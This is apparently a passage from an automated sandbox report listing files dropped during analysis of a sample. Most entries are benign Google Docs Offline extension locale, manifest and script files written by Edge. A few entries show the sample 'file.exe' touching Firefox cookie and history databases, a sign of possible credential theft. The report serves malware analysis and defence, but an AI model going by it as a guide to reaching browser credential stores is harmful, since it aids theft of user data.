SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir8160_230218270\c2f636e4-2d22-48fe-88a6-313881e412a4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 434

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTuKvZ-nsYNivRzfGpm8QSi6tMFrvg"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

